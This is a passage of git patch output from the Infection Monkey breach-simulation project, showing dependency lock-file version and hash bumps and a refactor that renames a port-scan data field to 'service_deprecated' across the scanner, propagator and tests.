+ "sha256:b8526c6d437855442cdd3d87eede9c425c4445ea011ca38d937db299382e6fa3", + "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147", + "sha256:c0a33bc9f02c2b17c3ea382f91b4db0e6cde90b63b296422a939886a7a80de1c", + "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603", + "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601", + "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a", + "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1", + "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d", + "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3", + "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54", + "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2", + "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6", + "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58" ], "markers": "python_version >= '3.7'", - "version": "==2.1.1" + "version": "==2.1.2" }, "minidump": { "hashes": [ @@ -428,11 +523,11 @@ }, "minikerberos": { "hashes": [ - "sha256:16378cb5fd3d236124b155306765029dd9a6aaa9f24efb60879f074aba954a1c", - "sha256:695fb09d3907fac09ee220037c9f99961a3e3e4355b38e1d4d8e6814725263c3" + "sha256:a275c8dc739aa0120eb7919f599025d3d30dcfc6bed9561db62f306cc6c9cada", + "sha256:b81dc9f43459db71dfdf5124014cb135357b16d82dd328e110e8a2bfe01fb7ec" ], "markers": "python_version >= '3.6'", - "version": "==0.3.5" + "version": "==0.4.0" }, "msldap": { "hashes": [ @@ -506,11 +601,12 @@ }, "pefile": { "hashes": [ - "sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b" + "sha256:82e6114004b3d6911c77c3953e3838654b04511b8b66e8583db70c65998017dc", + "sha256:da185cd2af68c08a6cd4481f7325ed600a88f6a813bad9dea07ab3ef73d8d8d6" ], "index": "pypi", "markers": "sys_platform == 'win32'", - "version": "==2022.5.30" + "version": "==2023.2.7" }, "pkgutil-resolve-name": { "hashes": [ @@ -594,77 +690,84 @@ }, "pycryptodomex": { "hashes": [ - "sha256:04610536921c1ec7adba158ef570348550c9f3a40bc24be9f8da2ef7ab387981", - "sha256:0ba28aa97cdd3ff5ed1a4f2b7f5cd04e721166bd75bd2b929e2734433882b583", - "sha256:0da835af786fdd1c9930994c78b23e88d816dc3f99aa977284a21bbc26d19735", - "sha256:1619087fb5b31510b0b0b058a54f001a5ffd91e6ffee220d9913064519c6a69d", - "sha256:1cda60207be8c1cf0b84b9138f9e3ca29335013d2b690774a5e94678ff29659a", - "sha256:22aed0868622d95179217c298e37ed7410025c7b29dac236d3230617d1e4ed56", - "sha256:231dc8008cbdd1ae0e34645d4523da2dbc7a88c325f0d4a59635a86ee25b41dd", - "sha256:2ad9bb86b355b6104796567dd44c215b3dc953ef2fae5e0bdfb8516731df92cf", - "sha256:4dbbe18cc232b5980c7633972ae5417d0df76fe89e7db246eefd17ef4d8e6d7a", - "sha256:6a465e4f856d2a4f2a311807030c89166529ccf7ccc65bef398de045d49144b6", - "sha256:70288d9bfe16b2fd0d20b6c365db614428f1bcde7b20d56e74cf88ade905d9eb", - "sha256:7993d26dae4d83b8f4ce605bb0aecb8bee330bb3c95475ef06f3694403621e71", - "sha256:8851585ff19871e5d69e1790f4ca5f6fd1699d6b8b14413b472a4c0dbc7ea780", - "sha256:893f8a97d533c66cc3a56e60dd3ed40a3494ddb4aafa7e026429a08772f8a849", - "sha256:8dd2d9e3c617d0712ed781a77efd84ea579e76c5f9b2a4bc0b684ebeddf868b2", - "sha256:a1c0ae7123448ecb034c75c713189cb00ebe2d415b11682865b6c54d200d9c93", - "sha256:b0789a8490114a2936ed77c87792cfe77582c829cb43a6d86ede0f9624ba8aa3", - "sha256:b3d04c00d777c36972b539fb79958790126847d84ec0129fce1efef250bfe3ce", - "sha256:ba57ac7861fd2c837cdb33daf822f2a052ff57dd769a2107807f52a36d0e8d38", - "sha256:ce338a9703f54b2305a408fc9890eb966b727ce72b69f225898bb4e9d9ed3f1f", - "sha256:daa67f5ebb6fbf1ee9c90decaa06ca7fc88a548864e5e484d52b0920a57fe8a5", - "sha256:e2453162f473c1eae4826eb10cd7bce19b5facac86d17fb5f29a570fde145abd", - "sha256:e25a2f5667d91795f9417cb856f6df724ccdb0cdd5cbadb212ee9bf43946e9f8", - "sha256:e5a670919076b71522c7d567a9043f66f14b202414a63c3a078b5831ae342c03", - "sha256:e9ba9d8ed638733c9e95664470b71d624a6def149e2db6cc52c1aca5a6a2df1d", - "sha256:f2b971a7b877348a27dcfd0e772a0343fb818df00b74078e91c008632284137d" + "sha256:0af93aad8d62e810247beedef0261c148790c52f3cd33643791cc6396dd217c1", + "sha256:12056c38e49d972f9c553a3d598425f8a1c1d35b2e4330f89d5ff1ffb70de041", + "sha256:23d83b610bd97704f0cd3acc48d99b76a15c8c1540d8665c94d514a49905bad7", + "sha256:2d4d395f109faba34067a08de36304e846c791808524614c731431ee048fe70a", + "sha256:32e764322e902bbfac49ca1446604d2839381bbbdd5a57920c9daaf2e0b778df", + "sha256:3c2516b42437ae6c7a29ef3ddc73c8d4714e7b6df995b76be4695bbe4b3b5cd2", + "sha256:40e8a11f578bd0851b02719c862d55d3ee18d906c8b68a9c09f8c564d6bb5b92", + "sha256:4b51e826f0a04d832eda0790bbd0665d9bfe73e5a4d8ea93b6a9b38beeebe935", + "sha256:4c4674f4b040321055c596aac926d12f7f6859dfe98cd12f4d9453b43ab6adc8", + "sha256:55eed98b4150a744920597c81b3965b632038781bab8a08a12ea1d004213c600", + "sha256:599bb4ae4bbd614ca05f49bd4e672b7a250b80b13ae1238f05fd0f09d87ed80a", + "sha256:5c23482860302d0d9883404eaaa54b0615eefa5274f70529703e2c43cc571827", + "sha256:64b876d57cb894b31056ad8dd6a6ae1099b117ae07a3d39707221133490e5715", + "sha256:67a3648025e4ddb72d43addab764336ba2e670c8377dba5dd752e42285440d31", + "sha256:6feedf4b0e36b395329b4186a805f60f900129cdf0170e120ecabbfcb763995d", + "sha256:78f0ddd4adc64baa39b416f3637aaf99f45acb0bcdc16706f0cc7ebfc6f10109", + "sha256:7a6651a07f67c28b6e978d63aa3a3fccea0feefed9a8453af3f7421a758461b7", + "sha256:7a8dc3ee7a99aae202a4db52de5a08aa4d01831eb403c4d21da04ec2f79810db", + "sha256:7cc28dd33f1f3662d6da28ead4f9891035f63f49d30267d3b41194c8778997c8", + "sha256:7fa0b52df90343fafe319257b31d909be1d2e8852277fb0376ba89d26d2921db", + "sha256:88b0d5bb87eaf2a31e8a759302b89cf30c97f2f8ca7d83b8c9208abe8acb447a", + "sha256:a4fa037078e92c7cc49f6789a8bac3de06856740bb2038d05f2d9a2e4b165d59", + "sha256:a57e3257bacd719769110f1f70dd901c5b6955e9596ad403af11a3e6e7e3311c", + "sha256:ab33c2d9f275e05e235dbca1063753b5346af4a5cac34a51fa0da0d4edfb21d7", + "sha256:c84689c73358dfc23f9fdcff2cb9e7856e65e2ce3b5ed8ff630d4c9bdeb1867b", + "sha256:c92537b596bd5bffb82f8964cabb9fef1bca8a28a9e0a69ffd3ec92a4a7ad41b", + "sha256:caa937ff29d07a665dfcfd7a84f0d4207b2ebf483362fa9054041d67fdfacc20", + "sha256:d38ab9e53b1c09608ba2d9b8b888f1e75d6f66e2787e437adb1fecbffec6b112", + "sha256:d4cf0128da167562c49b0e034f09e9cedd733997354f2314837c2fa461c87bb1", + "sha256:db23d7341e21b273d2440ec6faf6c8b1ca95c8894da612e165be0b89a8688340", + "sha256:ee8bf4fdcad7d66beb744957db8717afc12d176e3fd9c5d106835133881a049b", + "sha256:f854c8476512cebe6a8681cc4789e4fcff6019c17baa0fd72b459155dc605ab4", + "sha256:fd29d35ac80755e5c0a99d96b44fb9abbd7e871849581ea6a4cb826d24267537" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==3.16.0" + "version": "==3.17" }, "pydantic": { "hashes": [ - "sha256:05e00dbebbe810b33c7a7362f231893183bcc4251f3f2ff991c31d5c08240c42", - "sha256:06094d18dd5e6f2bbf93efa54991c3240964bb663b87729ac340eb5014310624", - "sha256:0b959f4d8211fc964772b595ebb25f7652da3f22322c007b6fed26846a40685e", - "sha256:19b3b9ccf97af2b7519c42032441a891a5e05c68368f40865a90eb88833c2559", - "sha256:1b6ee725bd6e83ec78b1aa32c5b1fa67a3a65badddde3976bca5fe4568f27709", - "sha256:1ee433e274268a4b0c8fde7ad9d58ecba12b069a033ecc4645bb6303c062d2e9", - "sha256:216f3bcbf19c726b1cc22b099dd409aa371f55c08800bcea4c44c8f74b73478d", - "sha256:2d0567e60eb01bccda3a4df01df677adf6b437958d35c12a3ac3e0f078b0ee52", - "sha256:2e05aed07fa02231dbf03d0adb1be1d79cabb09025dd45aa094aa8b4e7b9dcda", - "sha256:352aedb1d71b8b0736c6d56ad2bd34c6982720644b0624462059ab29bd6e5912", - "sha256:355639d9afc76bcb9b0c3000ddcd08472ae75318a6eb67a15866b87e2efa168c", - "sha256:37c90345ec7dd2f1bcef82ce49b6235b40f282b94d3eec47e801baf864d15525", - "sha256:4b8795290deaae348c4eba0cebb196e1c6b98bdbe7f50b2d0d9a4a99716342fe", - "sha256:5760e164b807a48a8f25f8aa1a6d857e6ce62e7ec83ea5d5c5a802eac81bad41", - "sha256:6eb843dcc411b6a2237a694f5e1d649fc66c6064d02b204a7e9d194dff81eb4b", - "sha256:7b5ba54d026c2bd2cb769d3468885f23f43710f651688e91f5fb1edcf0ee9283", - "sha256:7c2abc4393dea97a4ccbb4ec7d8658d4e22c4765b7b9b9445588f16c71ad9965", - "sha256:81a7b66c3f499108b448f3f004801fcd7d7165fb4200acb03f1c2402da73ce4c", - "sha256:91b8e218852ef6007c2b98cd861601c6a09f1aa32bbbb74fab5b1c33d4a1e410", - "sha256:9300fcbebf85f6339a02c6994b2eb3ff1b9c8c14f502058b5bf349d42447dcf5", - "sha256:9cabf4a7f05a776e7793e72793cd92cc865ea0e83a819f9ae4ecccb1b8aa6116", - "sha256:a1f5a63a6dfe19d719b1b6e6106561869d2efaca6167f84f5ab9347887d78b98", - "sha256:a4c805731c33a8db4b6ace45ce440c4ef5336e712508b4d9e1aafa617dc9907f", - "sha256:ae544c47bec47a86bc7d350f965d8b15540e27e5aa4f55170ac6a75e5f73b644", - "sha256:b97890e56a694486f772d36efd2ba31612739bc6f3caeee50e9e7e3ebd2fdd13", - "sha256:bb6ad4489af1bac6955d38ebcb95079a836af31e4c4f74aba1ca05bb9f6027bd", - "sha256:bedf309630209e78582ffacda64a21f96f3ed2e51fbf3962d4d488e503420254", - "sha256:c1ba1afb396148bbc70e9eaa8c06c1716fdddabaf86e7027c5988bae2a829ab6", - "sha256:c33602f93bfb67779f9c507e4d69451664524389546bacfe1bee13cae6dc7488", - "sha256:c4aac8e7103bf598373208f6299fa9a5cfd1fc571f2d40bf1dd1955a63d6eeb5", - "sha256:c6f981882aea41e021f72779ce2a4e87267458cc4d39ea990729e21ef18f0f8c", - "sha256:cc78cc83110d2f275ec1970e7a831f4e371ee92405332ebfe9860a715f8336e1", - "sha256:d49f3db871575e0426b12e2f32fdb25e579dea16486a26e5a0474af87cb1ab0a", - "sha256:dd3f9a40c16daf323cf913593083698caee97df2804aa36c4b3175d5ac1b92a2", - "sha256:e0bedafe4bc165ad0a56ac0bd7695df25c50f76961da29c050712596cf092d6d", - "sha256:e9069e1b01525a96e6ff49e25876d90d5a563bc31c658289a8772ae186552236" + "sha256:1fd326aff5d6c36f05735c7c9b3d5b0e933b4ca52ad0b6e4b38038d82703d35b", + "sha256:2185a3b3d98ab4506a3f6707569802d2d92c3a7ba3a9a35683a7709ea6c2aaa2", + "sha256:261f357f0aecda005934e413dfd7aa4077004a174dafe414a8325e6098a8e419", + "sha256:305d0376c516b0dfa1dbefeae8c21042b57b496892d721905a6ec6b79494a66d", + "sha256:3257bd714de9db2102b742570a56bf7978e90441193acac109b1f500290f5718", + "sha256:3353072625ea2a9a6c81ad01b91e5c07fa70deb06368c71307529abf70d23325", + "sha256:36e44a4de37b8aecffa81c081dbfe42c4d2bf9f6dff34d03dce157ec65eb0f15", + "sha256:3bb99cf9655b377db1a9e47fa4479e3330ea96f4123c6c8200e482704bf1eda2", + "sha256:3f9d9b2be177c3cb6027cd67fbf323586417868c06c3c85d0d101703136e6b31", + "sha256:45edea10b75d3da43cfda12f3792833a3fa70b6eee4db1ed6aed528cef17c74e", + "sha256:51782fd81f09edcf265823c3bf43ff36d00db246eca39ee765ef58dc8421a642", + "sha256:532e97c35719f137ee5405bd3eeddc5c06eb91a032bc755a44e34a712420daf3", + "sha256:58e41dd1e977531ac6073b11baac8c013f3cd8706a01d3dc74e86955be8b2c0c", + "sha256:5920824fe1e21cbb3e38cf0f3dd24857c8959801d1031ce1fac1d50857a03bfb", + "sha256:5f3bc8f103b56a8c88021d481410874b1f13edf6e838da607dcb57ecff9b4594", + "sha256:63200cd8af1af2c07964546b7bc8f217e8bda9d0a2ef0ee0c797b36353914984", + "sha256:663d2dd78596c5fa3eb996bc3f34b8c2a592648ad10008f98d1348be7ae212fb", + "sha256:6a4b0aab29061262065bbdede617ef99cc5914d1bf0ddc8bcd8e3d7928d85bd6", + "sha256:6bb0452d7b8516178c969d305d9630a3c9b8cf16fcf4713261c9ebd465af0d73", + "sha256:72ef3783be8cbdef6bca034606a5de3862be6b72415dc5cb1fb8ddbac110049a", + "sha256:76c930ad0746c70f0368c4596020b736ab65b473c1f9b3872310a835d852eb19", + "sha256:7c5b94d598c90f2f46b3a983ffb46ab806a67099d118ae0da7ef21a2a4033b28", + "sha256:7ce1612e98c6326f10888df951a26ec1a577d8df49ddcaea87773bfbe23ba5cc", + "sha256:8481dca324e1c7b715ce091a698b181054d22072e848b6fc7895cd86f79b4449", + "sha256:87f831e81ea0589cd18257f84386bf30154c5f4bed373b7b75e5cb0b5d53ea87", + "sha256:9a9d9155e2a9f38b2eb9374c88f02fd4d6851ae17b65ee786a87d032f87008f8", + "sha256:9e337ac83686645a46db0e825acceea8e02fca4062483f40e9ae178e8bd1103a", + "sha256:b429f7c457aebb7fbe7cd69c418d1cd7c6fdc4d3c8697f45af78b8d5a7955760", + "sha256:b473d00ccd5c2061fd896ac127b7755baad233f8d996ea288af14ae09f8e0d1e", + "sha256:bd46a0e6296346c477e59a954da57beaf9c538da37b9df482e50f836e4a7d4bb", + "sha256:c428c0f64a86661fb4873495c4fac430ec7a7cef2b8c1c28f3d1a7277f9ea5ab", + "sha256:c9e5b778b6842f135902e2d82624008c6a79710207e28e86966cd136c621bfee", + "sha256:ca9075ab3de9e48b75fa8ccb897c34ccc1519177ad8841d99f7fd74cf43be5bf", + "sha256:f582cac9d11c227c652d3ce8ee223d94eb06f4228b52a8adaafa9fa62e73d5c9", + "sha256:f5bee6c523d13944a1fdc6f0525bc86dbbd94372f17b83fa6331aabacc8fd08e", + "sha256:f836444b4c5ece128b23ec36a446c9ab7f9b0f7981d0d27e13a7c366ee163f8a" ], "index": "pypi", - "version": "==1.10.2" + "version": "==1.10.5" }, "pyinstaller": { "hashes": [ @@ -685,11 +788,11 @@ }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:1a125838a22d7b35a18993c6e56d3c5cc3ad7da00954f95bc5606523939203f2", - "sha256:5ae8da3a92cf20e37b3e00604d0c3468896e7d746e5c1449473597a724331b0b" + "sha256:29d052eb73e0ab8f137f11df8e73d464c1c6d4c3044d9dc8df2af44639d8bfbf", + "sha256:bd578781cd6a33ef713584bf3726f7cd60a3e656ec08a6cc7971e39990808cc0" ], "markers": "python_version >= '3.7'", - "version": "==2022.14" + "version": "==2023.0" }, "pymssql": { "hashes": [ @@ -816,10 +919,10 @@ }, "pysmb": { "hashes": [ - "sha256:3b07db16217465039d0c25694c0705b83663ca82259e209f3566d577536a7395" + "sha256:ad613988d54b1317ca0466dc3546f47b2dddea16e645d755d29fb75a86903326" ], "index": "pypi", - "version": "==1.2.8" + "version": "==1.2.9.1" }, "pyspnego": { "hashes": [ @@ -871,11 +974,11 @@ }, "requests": { "hashes": [ - "sha256:7c5599b102feddaa661c826c56ab4fee28bfd17f5abca1ebbe3e7f19d7c97983", - "sha256:8fefa2a1a1365bf5520aac41836fbee479da67864514bdb821f31ce07ce65349" + "sha256:64299f4909223da747622c030b781c0d7811e359c37124b4bd368fb8c6518baa", + "sha256:98b1b2782e3c6c4904938b84c0eb932721069dfdb9134313beff7c83c2df24bf" ], "index": "pypi", - "version": "==2.28.1" + "version": "==2.28.2" }, "semver": { "hashes": [ @@ -900,14 +1003,6 @@ ], "version": "==21.1.0" }, - "setuptools": { - "hashes": [ - "sha256:4d3c92fac8f1118bb77a22181355e29c239cabfe2b9effdaa665c66b711136d7", - "sha256:8ab4f1dbf2b4a65f7eec5ad0c620e84c34111a68d3349833494b9088212214dd" - ], - "markers": "python_version >= '3.7'", - "version": "==65.7.0" - }, "six": { "hashes": [ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", @@ -955,19 +1050,18 @@ }, "typing-extensions": { "hashes": [ - "sha256:1511434bb92bf8dd198c12b1cc812e800d4181cfcb867674e0f8279cc93087aa", - "sha256:16fa4864408f655d35ec496218b85f79b3437c829e93320c7c9215ccfd92489e" + "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb", + "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4" ], "index": "pypi", - "version": "==4.4.0" + "version": "==4.5.0" }, "unicrypto": { "hashes": [ - "sha256:4d1de0f0a379bb4c213302ae61d927eb8f98179bde9a0ffb8e120998a0c882a6", - "sha256:9d5dd858ad5ad608fa524987b17e8855d64d6d2450ca0ca11638f4d92fc6c80b" + "sha256:77322c68cb6a7ef8ee762dcb0a824a491429f8939793e8a9d64f615baaf595b9" ], "markers": "python_version >= '3.6'", - "version": "==0.0.9" + "version": "==0.0.10" }, "urllib3": { "hashes": [ @@ -979,18 +1073,18 @@ }, "wcwidth": { "hashes": [ - "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784", - "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83" + "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e", + "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0" ], - "version": "==0.2.5" + "version": "==0.2.6" }, "werkzeug": { "hashes": [ - "sha256:7ea2d48322cc7c0f8b3a215ed73eabd7b5d75d0b50e31ab006286ccff9e00b8f", - "sha256:f979ab81f58d7318e064e99c4506445d60135ac5cd2e177a2de0089bfd4c9bd5" + "sha256:2e1ccc9417d4da358b9de6f174e3ac094391ea1d4fbef2d667865d819dfd0afe", + "sha256:56433961bc1f12533306c624f3be5e744389ac61d722175d543e1751285da612" ], "markers": "python_version >= '3.7'", - "version": "==2.2.2" + "version": "==2.2.3" }, "winacl": { "hashes": [ @@ -1018,11 +1112,11 @@ }, "zipp": { "hashes": [ - "sha256:83a28fcb75844b5c0cdaf5aa4003c2d728c77e05f5aeabe8e95e56727005fbaa", - "sha256:a7a22e05929290a67401440b39690ae6563279bced5f314609d9d03798f56766" + "sha256:23f70e964bc11a34cef175bc90ba2914e1e4545ea1e3e2f67c079671883f9cb6", + "sha256:e8b2a36ea17df80ffe9e2c4fda3f693c3dad6df1697d3cd3af232db680950b0b" ], - "markers": "python_version >= '3.7'", - "version": "==3.11.0" + "markers": "python_version < '3.10'", + "version": "==3.13.0" }, "zope.interface": { "hashes": [ @@ -1080,46 +1174,43 @@ }, "mypy": { "hashes": [ - "sha256:0714258640194d75677e86c786e80ccf294972cc76885d3ebbb560f11db0003d", - "sha256:0c8f3be99e8a8bd403caa8c03be619544bc2c77a7093685dcf308c6b109426c6", - "sha256:0cca5adf694af539aeaa6ac633a7afe9bbd760df9d31be55ab780b77ab5ae8bf", - "sha256:1c8cd4fb70e8584ca1ed5805cbc7c017a3d1a29fb450621089ffed3e99d1857f", - "sha256:1f7d1a520373e2272b10796c3ff721ea1a0712288cafaa95931e66aa15798813", - "sha256:209ee89fbb0deed518605edddd234af80506aec932ad28d73c08f1400ef80a33", - "sha256:26efb2fcc6b67e4d5a55561f39176821d2adf88f2745ddc72751b7890f3194ad", - "sha256:37bd02ebf9d10e05b00d71302d2c2e6ca333e6c2a8584a98c00e038db8121f05", - "sha256:3a700330b567114b673cf8ee7388e949f843b356a73b5ab22dd7cff4742a5297", - "sha256:3c0165ba8f354a6d9881809ef29f1a9318a236a6d81c690094c5df32107bde06", - "sha256:3d80e36b7d7a9259b740be6d8d906221789b0d836201af4234093cae89ced0cd", - "sha256:4175593dc25d9da12f7de8de873a33f9b2b8bdb4e827a7cae952e5b1a342e243", - "sha256:4307270436fd7694b41f913eb09210faff27ea4979ecbcd849e57d2da2f65305", - "sha256:5e80e758243b97b618cdf22004beb09e8a2de1af481382e4d84bc52152d1c476", - "sha256:641411733b127c3e0dab94c45af15fea99e4468f99ac88b39efb1ad677da5711", - "sha256:652b651d42f155033a1967739788c436491b577b6a44e4c39fb340d0ee7f0d70", - "sha256:6d7464bac72a85cb3491c7e92b5b62f3dcccb8af26826257760a552a5e244aa5", - "sha256:74e259b5c19f70d35fcc1ad3d56499065c601dfe94ff67ae48b85596b9ec1461", - "sha256:7d17e0a9707d0772f4a7b878f04b4fd11f6f5bcb9b3813975a9b13c9332153ab", - "sha256:901c2c269c616e6cb0998b33d4adbb4a6af0ac4ce5cd078afd7bc95830e62c1c", - "sha256:98e781cd35c0acf33eb0295e8b9c55cdbef64fcb35f6d3aa2186f289bed6e80d", - "sha256:a12c56bf73cdab116df96e4ff39610b92a348cc99a1307e1da3c3768bbb5b135", - "sha256:ac6e503823143464538efda0e8e356d871557ef60ccd38f8824a4257acc18d93", - "sha256:b8472f736a5bfb159a5e36740847808f6f5b659960115ff29c7cecec1741c648", - "sha256:b86ce2c1866a748c0f6faca5232059f881cda6dda2a893b9a8373353cfe3715a", - "sha256:bc9ec663ed6c8f15f4ae9d3c04c989b744436c16d26580eaa760ae9dd5d662eb", - "sha256:c9166b3f81a10cdf9b49f2d594b21b31adadb3d5e9db9b834866c3258b695be3", - "sha256:d13674f3fb73805ba0c45eb6c0c3053d218aa1f7abead6e446d474529aafc372", - "sha256:de32edc9b0a7e67c2775e574cb061a537660e51210fbf6006b0b36ea695ae9bb", - "sha256:e62ebaad93be3ad1a828a11e90f0e76f15449371ffeecca4a0a0b9adc99abcef" + "sha256:01b1b9e1ed40544ef486fa8ac022232ccc57109f379611633ede8e71630d07d2", + "sha256:0ab090d9240d6b4e99e1fa998c2d0aa5b29fc0fb06bd30e7ad6183c95fa07593", + "sha256:14d776869a3e6c89c17eb943100f7868f677703c8a4e00b3803918f86aafbc52", + "sha256:1ace23f6bb4aec4604b86c4843276e8fa548d667dbbd0cb83a3ae14b18b2db6c", + "sha256:2efa963bdddb27cb4a0d42545cd137a8d2b883bd181bbc4525b568ef6eca258f", + "sha256:2f6ac8c87e046dc18c7d1d7f6653a66787a4555085b056fe2d599f1f1a2a2d21", + "sha256:3ae4c7a99e5153496243146a3baf33b9beff714464ca386b5f62daad601d87af", + "sha256:3cfad08f16a9c6611e6143485a93de0e1e13f48cfb90bcad7d5fde1c0cec3d36", + "sha256:4e5175026618c178dfba6188228b845b64131034ab3ba52acaffa8f6c361f805", + "sha256:50979d5efff8d4135d9db293c6cb2c42260e70fb010cbc697b1311a4d7a39ddb", + "sha256:5cd187d92b6939617f1168a4fe68f68add749902c010e66fe574c165c742ed88", + "sha256:5cfca124f0ac6707747544c127880893ad72a656e136adc935c8600740b21ff5", + "sha256:5e398652d005a198a7f3c132426b33c6b85d98aa7dc852137a2a3be8890c4072", + "sha256:67cced7f15654710386e5c10b96608f1ee3d5c94ca1da5a2aad5889793a824c1", + "sha256:7306edca1c6f1b5fa0bc9aa645e6ac8393014fa82d0fa180d0ebc990ebe15964", + "sha256:7cc2c01dfc5a3cbddfa6c13f530ef3b95292f926329929001d45e124342cd6b7", + "sha256:87edfaf344c9401942883fad030909116aa77b0fa7e6e8e1c5407e14549afe9a", + "sha256:8845125d0b7c57838a10fd8925b0f5f709d0e08568ce587cc862aacce453e3dd", + "sha256:92024447a339400ea00ac228369cd242e988dd775640755fa4ac0c126e49bb74", + "sha256:a86b794e8a56ada65c573183756eac8ac5b8d3d59daf9d5ebd72ecdbb7867a43", + "sha256:bb2782a036d9eb6b5a6efcdda0986774bf798beef86a62da86cb73e2a10b423d", + "sha256:be78077064d016bc1b639c2cbcc5be945b47b4261a4f4b7d8923f6c69c5c9457", + "sha256:c7cf862aef988b5fbaa17764ad1d21b4831436701c7d2b653156a9497d92c83c", + "sha256:e0626db16705ab9f7fa6c249c017c887baf20738ce7f9129da162bb3075fc1af", + "sha256:f34495079c8d9da05b183f9f7daec2878280c2ad7cc81da686ef0b484cea2ecf", + "sha256:fe523fcbd52c05040c7bee370d66fee8373c5972171e4fbc323153433198592d" ], "index": "pypi", - "version": "==0.991" + "version": "==1.0.0" }, "mypy-extensions": { "hashes": [ - "sha256:090fedd75945a69ae91ce1303b5824f428daf5a028d2f6ab8a299250a846f15d", - "sha256:2d82818f5bb3e369420cb3c4060a7970edba416647068eb4c5343488a6c604a8" + "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d", + "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782" ], - "version": "==0.4.3" + "markers": "python_version >= '3.5'", + "version": "==1.0.0" }, "pyasn1": { "hashes": [ @@ -1179,11 +1270,11 @@ }, "typing-extensions": { "hashes": [ - "sha256:1511434bb92bf8dd198c12b1cc812e800d4181cfcb867674e0f8279cc93087aa", - "sha256:16fa4864408f655d35ec496218b85f79b3437c829e93320c7c9215ccfd92489e" + "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb", + "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4" ], "index": "pypi", - "version": "==4.4.0" + "version": "==4.5.0" } } } From dbb9f3e8094255db386fc407042afbda677ed88e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Feb 2023 17:55:40 +0530 Subject: [PATCH 0078/1338] Agent: Change PortScanData.service -> PortScanData.service_deprecated --- monkey/infection_monkey/i_puppet/port_scan_data.py | 2 +- monkey/infection_monkey/master/propagator.py | 8 ++++---- monkey/infection_monkey/network_scanning/tcp_scanner.py | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/port_scan_data.py b/monkey/infection_monkey/i_puppet/port_scan_data.py index b300f01abbe..a2ec8cbf343 100644 --- a/monkey/infection_monkey/i_puppet/port_scan_data.py +++ b/monkey/infection_monkey/i_puppet/port_scan_data.py @@ -10,4 +10,4 @@ class PortScanData(InfectionMonkeyBaseModel): port: NetworkPort status: PortStatus banner: Optional[str] = Field(default=None) - service: Optional[str] = Field(default=None) + service_deprecated: Optional[str] = Field(default=None) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 08ea4f5e0fb..525709f0acd 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -147,11 +147,11 @@ def _process_tcp_scan_results( for psd in filter( lambda scan_data: scan_data.status == PortStatus.OPEN, port_scan_data.values() ): - target_host.services[psd.service] = {} - target_host.services[psd.service]["display_name"] = "unknown(TCP)" - target_host.services[psd.service]["port"] = psd.port + target_host.services[psd.service_deprecated] = {} + target_host.services[psd.service_deprecated]["display_name"] = "unknown(TCP)" + target_host.services[psd.service_deprecated]["port"] = psd.port if psd.banner is not None: - target_host.services[psd.service]["banner"] = psd.banner + target_host.services[psd.service_deprecated]["banner"] = psd.banner @staticmethod def _process_fingerprinter_results( diff --git a/monkey/infection_monkey/network_scanning/tcp_scanner.py b/monkey/infection_monkey/network_scanning/tcp_scanner.py index 2db5f9829db..f25d7722234 100644 --- a/monkey/infection_monkey/network_scanning/tcp_scanner.py +++ b/monkey/infection_monkey/network_scanning/tcp_scanner.py @@ -72,7 +72,7 @@ def _build_port_scan_data( banner = open_ports[port] port_scan_data[port] = PortScanData( - port=port, status=PortStatus.OPEN, banner=banner, service=service + port=port, status=PortStatus.OPEN, banner=banner, service_deprecated=service ) else: port_scan_data[port] = _get_closed_port_data(port) From 37e8f01117f5e67cd5e5701a099de577fbabbc63 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Feb 2023 17:58:30 +0530 Subject: [PATCH 0079/1338] UT: Replace PortScanData.service with PortScanData.service_deprecated --- .../infection_monkey/master/mock_puppet.py | 13 +++-- .../master/test_ip_scanner.py | 8 +-- .../master/test_propagator.py | 14 +++-- .../test_http_fingerprinter.py | 56 +++++++++++++------ .../test_mssql_fingerprinter.py | 4 +- .../test_ssh_fingerprinter.py | 50 ++++++++++++----- 6 files changed, 101 insertions(+), 44 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index 